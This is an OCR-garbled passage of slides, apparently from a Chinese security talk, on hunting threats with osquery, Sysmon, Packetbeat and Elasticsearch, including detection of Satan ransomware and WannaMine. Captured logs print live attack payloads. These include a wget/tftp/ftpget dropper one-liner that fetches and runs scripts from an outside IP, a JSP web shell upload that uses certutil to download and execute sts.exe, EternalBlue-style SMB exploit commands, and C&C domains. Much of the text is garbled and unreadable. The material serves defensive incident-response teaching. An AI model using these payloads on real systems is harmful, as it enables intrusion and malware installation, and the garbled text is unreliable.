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- BRO: a powerful network analysis framework
- YAF + super_mediator: https://tools.netsa.cert.org/

- Packetbeat: a lightweight network packet analyzer
that sends data to Logstash or Elasticsearch.
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- Windows
—  Sysmon + Winlogbeat ( —{#&%E4] )
- Osquery (+ Winlogbeat)
—  Linux
- Osquery
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osquery

«  Osquery2—MacebookFFRAISQLIRENRER FEtaNFI ST TR,
o HRBEIEsqETHRERFANSTHSHELE. SFEIRA,

select * from process_ open_ sockets where remote_address !='127.0.0.1" and
remote address !=" and remote address !='0.0.0.0' and remote_address not like '::%' and
remote - address != local address

osquery> select * from process_open_sockets where remote_address != '127.0.0.1"' and remote_address != '' and remote_address != '0.0.0.0' and r <> osquery HOME Se e BLOG Docs
te_address != local_address;
; ' ' Tables
socket protocol address remote_address | local port remote_port | path state net_namespa
+ + .
2375925938 6 .174 10.67.0.40 | 22 3640 | ESTABLISHED | 4026531968 sl
924014779 6 10.67. | 22 64098 | ESTABLISHED 4026531968 aplsources .
910615004 6 174 10.67. | 543 63356 | ESTABLISHED | 4026531968 arp_cache acpi_tables
341810702 6 10.67.1. | 43314 9092 | CLOSE_WAIT 4026531968
341872267 6 10.67. | 58598 9092 | CLOSE_WAIT 4026531968 ©
4290337226 6 10.67. | 8e20 45668 | ESTABLISHED 4026531968 block de oo - DESCRIPTION
3307768902 6 10.67. | 49683 9092 | ESTABLISHED | 4026531968 carbon_black_info
PECLTPIESE 6 10.67. | 51862 9092 | CLOSE_WATT | 4026531968 ame TEXT ACPI table name
2364140875 6 10.67. | 40338 9092 | ESTABLISHED 4026531968
2373110131 6 10.67. | 3095 | ESTABLISHED 4026531968 size INTEGER Size of compiled table data
2399043763 6 10.67. | 9092 | ESTABLISHED 4026531968 Cpuic
crontab mds TEXT MDS5 hash of table content
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Osquery

"schedule": {

Demo1' e
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Demo2: {4/
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"usb_devices": {
"query": "select

usb_devices_usb_address,usb_devices_usb_port,usb_device
s_vendor,usb_devices vendor id,usb devices version,usb_
devices_model,usb_devices_model_id,usb_devices_serial,u
sb devices class,usb_devices subclass,usb devices proto
col,usb_devices_removable from usb_devices;",

"interval™: €0,
"removed": false

}

"queries": {
"file events™: {

"query": "select * from file events;",
"removed": false,

"interval”: 30
}
b,
"file paths": {
"homes": [
"/home/%%",
"/root/%%"
]l
"etc": [
"/fetc/%%"
]
}l

"exclude paths": [

"/tmp/hsperfdata bsaworker/",
"/tmp/hsperfdata bsauser/"

Xt/ B Re8%i2(file integrity monitoring(FIM))
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IR - Z2IGFEEAE

> '@ ) :
# b B 1H e Agentirs 513551 .p  Syslog
> > EEELL
[ ] HQEEI Syslog AR5 881
> &5 1Pk 0000 @
erEERED " - o
= > HERE R A vi v | @ EEmaseAE
. Sysl AR 252882
- BESU4E tail —f - s etes
1Pk o o
FEO
] 5
=X
. R = vi v | @ 2masxeAE
R 2R
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= &
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- IEEEUESEE
-  NIPS(Network Intrusion Prevention System), IDS(Network Intrusion Detection System) :
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- WAF(Web Application Firewall) : webpFHFFIFESZE
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- FlFElasticsearchic® FWEEIMIPS., WAFRZEEE
«  ESFEREHRMHThreat Hunting
- XFEMENindicator BRI S EHHRE , AMSZINE.

50,354 hits New Save Open Share Reporting CAuto-refresh < @ November 3rd 2018, 07:38:07.380 to November 4th 2018, 02:58:22.766 >

168.235.81.74 Options n
D o

ipslo* - November 3rd 2018, 07:38:07.380 - November 4th 2018, 02:

.766—  Auto v
Selected Fields
t dip

Top 5 values in 500 / 500 records

Count

aa

aq | S Hﬁmﬁ___ﬁ___ﬂﬂr—‘ﬁ,—"_\m,_l_

@timestamp per 30 minutes

aa
Time raw_info
aq .
> November DoEDveus 0]00rOuD000eXODAAMAAA cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget
aa http://168.235.81.74/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 168.235.81.74 -c get tftpl.sh; chmod 777 tftpl.sh; sh tftpl.sh; tftp -
r tftp2.sh -g 168.235.81.74; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 168.235.81.74 ftpl.sh ftpl.sh;
sh ftpl.sh; rm -rf bins.sh tftpl.sh tftp2.sh ftpl.sh; rm -rf =
t raw_info
> November %E00 @UINOODENDONINN0XGr@IG4XD0AAMAAA cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://168.235.81.74/bins.sh;
¢ sip chmod 777 bins.sh; sh bins.sh; tftp 168.235.81.74 -c get tftpl.sh; chmod 777 tftpl.sh; sh tftpl.sh; tftp -r tftp2.sh -g 168.235.81.74;
chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 168.235.81.74 ftpl.sh ftpl.sh; sh ftpl.sh; rm -rf bins.sh
o b nl lle= (0 0000 recoats tftpl.sh tftp2.sh ftpl.sh; rm -rf =
142.7.4 QQ

> November AAAAMA cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget

900OZOTOC 9COTHOTECHQLOTELPOr 9010000

http://168.235.81.74/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 168.235.81.74 -c get tftpl.sh; chmod 777 tftpl.sh; sh tftpl.sh; tftp -
fE aq r tftp2.sh -g 168.235.81.74; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 168.235.81.74 ftpl.sh ftpl.sh;
sh ftpl.sh; rm -rf bins.sh tFtpl.sh tftp2.sh Ftpl.sh; rm -rf -

el Al FES o » November OOEOveu9! DUCrOud0(OOXODAAAAAA cd /tmp cd /var/run || cd /mnt cd /root || cd /; wget http://168.235,

papiis chmod sh bins.sh; tftp 168.235.81.74 -c get tftpl.sh; chmod tftpl.sh; sh tftpl.sh; tftp -r tftp2.sh -g 1

chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 168.235.81.74 ftpl.sh ftpl.sh; sh ftpl.sh; rm -r 5. sh

T ‘ Q .
t devid tftpl.sh tftp2.sh ftpl.sh; rm -rf 'I 4 elastlc
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SatanF)| EiRS DI

© B (Satan)EEE— G SHFRIEF , BAXEM2017F1 By  mRsETRESINER

EETETL,
RIMKEHFBHEDR !

Time - name
» Nowember Sth 20°° teerE ot e e s l
Time columns.path
4 Mowember Sth 20 ,  (ewer sth 2018, 16:17:16.000 c:\doc_nsfocus\[dbger@protonmail.com]Managing the Security Unknowns.pdf.dbger ‘

t columns.atime 1541238940
» November 5th 2018, 16:17:16.000 c:\doc_n: aQm#* 15

’ Nowember Sth 20 t columns.block_size @ @ I % 512

» November 5th 2018, 16:17:16.000 c:\doc_ns

Data. B t columns.device Q @ @ * 240448931
> Nowvember Sth 20 he- PO
t columns.directory @ Q M * c:\doc_nsfocus\
» November 5th 2018, 16:17:16.000 c:\doc_N: ¢ colymns. filename @ @ [ * | [dbgereprotonnail. convanaging the Security Unknowns.pdf.dbger |
3 Nowvember Sth 20 :
»  November Sth 2018, 16:17:16.000 c:\doc_n: T columns.gid QQD* 513
t columns.inode aamd 281474976775285

> Nowvember Sth 20 ,  wovember 5th 2018, 16:17:16.000 o

+ .2a T columns.mode eaam

H t columns.path @ @ M * c:\doc_nsfocus'[dbger@protonmail.com]Managing the Security Unknowns.pdf.dbger
t columns.size QD 11702065

t columns.uid QD 1000
# counter QD 40
t decorations.username @ Q @ admin
# epoch QQm
t host QQm

t hostIdentifier Qaqm

o

WIN-MN3A5SRISPV
WIN-MN3A5SRI9PV
t name Qam
Qam

doc_nsfocus_file

*
*
*
*
*
*
t decorations.host_uuid @ @ [0 % 728E4D56-62DD-17E5-8A5A-9B27CSA0BBE3
*
*
*
*
*
*

C:/ProgramData/osquery/1ogs /osqueryd. results. log
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SatanF =B s

Q919x9O9{put /clistl.jsp/ http/1.1
host: 211.147.76.138:8080

accept: */*

content-length: 212

IPSEEE PayloadiESHEA Tk

content-type: application/x-www-form-urlencoded

<%@ page import="java.util.*,java.io.*"%>
<%
out.println("version_");

runtime.getruntime().exec("cmd.exe /c certutil.exe -urlcache -split -f http://101.99.84.136/cab/sts.exe c:/st.exe&cmd.exe /c c:\\st.exe");

%>
| ox009"
19c001/90-19|51000000,09"00s0

FNEE

Time

September 28th 2018, 17:

»  September 28th 2018, 17:37:26.628

»  September 28th 2018, 17:37:26.660

task

File created (rule: FileCreate)

File created (rule: FileCreate)

File created (rule: FileCreate)

event data.TargetFilename

C:\ProgramData\blue. exe

C:\ProgramData\star.exe

C:\ProgranData\mnkt.exe

message

File create
UtcTime: 20
ProcessGuid
ProcessId:
Image: C:\U
TargetFilen
CreationUtg

File create
UtcTime: 20
ProcessGuid
Processid:
Inage: C:\U
TargetFilen
Creationute

File creatd
UtcTime: 20
ProcessGuig
ProcessId:
Inage: c:\
TargetFilen
Creationute

- |

September 28th 2018,

September 28th 2018,

September 28th 2018,

September 28th 2018,

17:

17:

17:

17:37:32.081

Process
Create
(rule:
ProcessCrea
te)

Process
Create
(rule:
ProcessCrea
te)

Process
Create
(rule:
ProcessCrea
te)

Process
Create
(rule:
ProcessCrea
te)

"C:\Windows\System32\cmd.exe" /c cd /D
C:\Users\Alluse~1\&bTue.exe --TargetIp 127.0.0.2
& star.exe --OutConfig a --TargetPort 445 --
Protocol SMB --Architecture x64 --Function
RunDLL --D11Payload down64.d11 --TargetIp
127.0.0.2

"C:\Windows\System32\cmd.exe" /c cd /D
C:\Users\Alluse~1\&blue.exe --TargetIp 127.0.0.1
& star.exe --OutConfig a --TargetPort 445 --
Protocol SMB --Architecture x64 --Function
RunDLL --D11Payload down64.d11 --TargetIp
127.0.0.1

"C:\Windows\System32\cmd. exe" /c cd /D
C:\Users\Alluse~1\&blue.exe --TargetIp 127.0.0.3
& star.exe --OutConfig a --TargetPort 445 --
Protocol SMB --Architecture x64 --Function
RunDLL --D11Payload down64.d11 --TargetIp
127.0.0.3

"C:\Windows\System32\cmd. exe" /c cd /D
C:\Users\Alluse~1\&blue.exe --TargetIp 127.0.0.4
& star.exe --OutConfig a --TargetPort 445 --
Protocol SMB --Architecture x64 --Function
RunDLL --D11Payload down64.d11 --TargetIp

¢ e elastic



17

Satang)REE DT
WebimiRIKE

\I I, ==
TSN

LN
¢V

24101 Apache Tomcat iIfE(UAEHITRmIE ( CVE-2017-12615 )

24106 Apache TomcatimfR{CAZHTRIR ( CVE-2017-12617 )

23986 Struts2iTiEap S HIITiRiA(s2-045)(s2-046)(CVE-2017-5638)
HEATEHFARIT

BHCERREEAR  winTIEERSR C:\ProgramData\ , winxp £ C:\Users\All Users\ HE ;

sts.exe=BlJiE5 M exeXX {4 : C:\ProgramData\mmkt.exe, C:\ProgramData\star.exe,
C:\ProgramData\blue.exe, C:\Satan.exe, C:\sts.exe

IEBCERRR
e
It

KliaZiE
WebjmiRIsH
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Kill-Chain: Satan 4.0¥1&5%5

 Kill Chain
Reconnaissance Exploitation
3t
Tomgzit/Stth,ﬁ Tomcat Struts2
A S
#
FIPIIRER ik SEdgian
EZ ERREE LN
#

Installation

Sts.exerE B R

FHSHT

Actions on
Objective

ERFEFEEN
A=
mESE

BrokiEZ &R
AFIETE
blue.exe

ShEZwebimiREE
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Visualize | ARIPHAI44SROSENTRIPRERS | ®F $HZ M CHEMRBE < © May2nd 2018, 00:00:00.000 to May 2nd 2018, 23:59:59.999

EHif... (Fl0: status:200 AND extension:PHP) EALuceneEimiSix el

A+

[T source.ip: Descending Unique count of dest.ip | ® * IJ % P a C ke t b e a t Eg fI Owﬁfm’ W IXE I P
10.67.10.208 194,440 R Y
e oos ETEHT‘I‘)_LE/I\G’J:M | PEI’:-J445ilﬁ\'ﬁ|:| ;
o : ( FEitEtERRORAEITS |
B v o[5) e ; 445, 138, 139, 8080, 5432,
. 10.66.242.52 Vaxas /:\—é
| 330622

10.68.10.208

10.67.0.9

B4 FRAE L BEARERL

Fif... (i#0: status:200 AND extension:PHP) =l

bR

ipslog - May 15t 2018, 00:00:00.000 - May 4th 2018, 23:50:59.999 —  Auto v * > F— R TV
care J . 2 1 FeRUAY X
¢ e .
s < 7 ~ — A e N
¢ msg £, 1 | ~ ~
: | P Y =] TSN =N
Ca . il I 7 — JIITL /7RI
AEFR o 0
2000 o 201 0 201805040800 I
Popular @timestamp per hour \
¢ deip
O @ Time sip dip mag
O G » May 4th 2018, 11:09:57.884 10.67.10.208 10.200.80.6 Windows SMBITAEfEIBINT Brokers. VE-2017-0144)
# sros > May 4th 2018, 11:09:57.761 10.67.10.208 10.200.50.6 Windous SHBBREiL
# gr_service » May 4th 2018, 11:09:54.199 10.67.10.208 10.200.80. 6 Windows MBI FHATERLH)
# grtech _
> May 4th 2018, 05:01:00.127 10.67.10.208 10.200.50.6 Windows SUBEIEIEI Brokers VE-2017-0144)
# srope
» May 4th 2018, 08:00:57.692 10.67.10.208 10.200.80.6 Windows SMBHAFIATER)
¢ rauinfo
A » May 4th 2018, 04:54:27.715 10.67.10.208 10.200.80.6 Windows SMBEEREIH
rule i
s » May 4th 2018, 04:54:21.673 10.67.10.208 10.200.80.6 Windows SMBIFAE fAABINTT: Brokers. VE-2017-0144)
t Gversion » May 4th 2018, 01:54:00.102 10.67.10.208 10.200.80.6 Windows SYEERE .



WannaMineiZH 1ER

WannaMine20_CC BehaviorD 96 2 ¥k % 17 HF CEBEH < O May 1512018, 000000000 fo May 4th 2016, 26:59:59999 > (S / WannaMine2.0_Analyzer Fulscreen #% FEIE $#E CEWRER < O May 1512018, 03:37:08.077 to May 4th 2018, 19:42:37.738
B... (B80: status200 AND extension:PHP) ERLucenemmiEIE ‘ ... (Bi0: status:200 AND extension:PHP) EFLuceneEFE I
E
packetbeat-* - May 15t 2018, 00:00:00.000 - May 4th 2018, 23:59:59.999 —  Auto v [ Cc_DNs_ASK Times
BT .
¢ clientip © .
t dns.questio... - e
TR ° ° K
v . -
Popular
¢ e x 21805012000 01805020800 21805022000 201B05T30800 0180532000 2180504000 &
Otimestamp per hour
t
e Time dns.question.name dient ip - -
» May sth 2018, 22:08:57.130 swtsnjaavixcgksclub: 10.67.10.208
¢ avery
# responsesme » May sth 2018, 21:42:26.353  rersnjaavixcgk3iclub: 10.67.10.208
© semer » May sth 2018, 21:36:08.879  swtinjasvexcok3iclub: 10.67.10.208
O Cr==m » May th 2018, 21:26:36.263  swtanjaavexeoksclubs 10.67.10.208 dg o
~E
« £
» May sth 2018, 19:37:17.092 rer:njaavixckiclub: 10.67.10.208 i3
© ndex - -
» May 4th 2018, 19:37:17.081 rer.njaavfxcgk3.club. 10.67.10. 208 N
* sore .
R [y fe——— 1o.67.10.208 g8
¢ bescname > May ath 2018, s66  swt.njaavxcok3. club. 10.67.10.208 22
¢ bestversion > May ath 2018, 16:54:54.072 tar dub. 10.67.10.208 1 B e eene N
CC_DNS_ASK_Detail
(A / WannaMine2.0_Analyzer Fullscreen 5% i R\ CHEZREF < O May 1st 2018, 03:37:08.077 to May 4th 2018, 19:42:37.738 > *
® st njaavixcgid.club. ‘ ... (IN: status:200 AND extension:PHP) ey < |
P ® rernjaavixcgla.club.
H ® tarkziuOtpofuclub o [T,
3 @ acs njsavixcgka.club
2 I |||| I 'u | n @ task.attendecr.com. LMl Compromised Host_Num Comprom jost_Detail
w Al 10 o M o -
C C LatestActiveTime ActiveNum
H - 10.67.10.208 May 2nd 2018, 13:25:19.486 May 4th 2018, 19:37:17.092 92
5 ' 10.67.5.105 May 1st 2018, 04:31:00.074 May 4th 2018, 12:32:18.568 59
E i
10.67.1.251 May 1st 2018, 04:06:36.485 May 4th 2018, 17:35:18.923 142
i, . it e 111k 1 @
g CompromisedHost 10.67.1.82 May 1st 2018, 03:42:28.307 May 4th 2018, 18:39:59.471 137
H i
P £ 10.67.10.202 May 15t 2018, 03:40:27.405 May 4th 2018, 14:55:19.821 312
£ 2 .
: b
ol b wlll o Ml dlalll b v '
Communicate C&C_Num Communicate_C&C_Detail
H [} dns.question.name: Descending AskTimes FirstAskTime LatestAskTime 7
3 Il swinjaavixcgk3.lub. 382 May 15t 2018, 03:4027.405 May 4th 2018, 17:06:05.966
I u |||||||l TR | TR | . . . tar kziuOtpofw.club. 205 May 15t 2018, 03:55:28.851 May 4th 2018, 18:39:50.471
rer.njaavfxcgk3.club. 105 May 1st 2018, 04:20:41.525 May 4th 2018, 19:27:17.002
H - acs njaavfxcgk3.club. a9 May 15t 2018, 04:35:45.421 May 4th 2018, 17:35:18.923
£ C&C Domain Num
S ; task.attendecr.com. 1 May 4th 2018, 14:55:19.821 May 4th 2018, 14:55:19.821
33

[ Wbl Tl

DateTime CompromisedHost
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